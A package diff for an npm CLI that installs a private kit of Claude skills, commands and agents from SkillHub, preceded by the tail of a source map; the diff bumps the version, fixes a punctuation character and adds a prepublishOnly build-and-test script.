8E;IAC9E,oEAAoE;IACpE,GAAG,CAAC,kBAAkB,GAAG,cAAc,CAAC,GAAG,EAAE,IAAI,CAAC,GAAG,CAAC,CAAC;IACvD,MAAM,UAAU,GAAG,EAAE,GAAG,WAAW,EAAE,GAAG,EAAE,CAAC;IAC3C,IAAI,IAAI,CAAC,SAAS,CAAC,WAAW,CAAC,KAAK,IAAI,CAAC,SAAS,CAAC,UAAU,CAAC,EAAE,CAAC;QAC/D,aAAa,CAAC,SAAS,EAAE,UAAU,CAAC,CAAC;QACrC,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,QAAQ,CAAC,GAAG,EAAE,SAAS,CAAC,CAAC,CAAC;IAC9C,CAAC;IACD,IAAI,kBAAkB,CAAC,GAAG,CAAC;QAAE,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,IAAI,CAAC,SAAS,EAAE,YAAY,CAAC,CAAC,CAAC;IAE9E,OAAO,EAAE,QAAQ,EAAE,MAAM,CAAC,QAAQ,EAAE,OAAO,EAAE,MAAM,CAAC,OAAO,EAAE,OAAO,EAAE,SAAS,EAAE,CAAC;AACpF,CAAC"}
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@mhd1999/morkit-cli",
3
- "version": "0.1.0",
4
- "description": "Install the private morkit kit (skills, commands, agents) into a project's .claude/ directory from SkillHub. Ships no kit content downloads it with your personal access token.",
3
+ "version": "0.2.0",
4
+ "description": "Install the private morkit kit (skills, commands, agents) into a project's .claude/ directory from SkillHub. Ships no kit content \u2014 downloads it with your personal access token.",
5
5
  "type": "module",
6
6
  "license": "Apache-2.0",
7
7
  "repository": {
@@ -21,6 +21,7 @@
21
21
  ],
22
22
  "scripts": {
23
23
  "build": "tsc",
24
+ "prepublishOnly": "npm run clean && npm run build && npm test",
24
25
  "dev": "tsx src/index.ts",
25
26
  "clean": "rm -rf dist",
26
27
  "test": "node --import tsx --test tests/*.test.ts"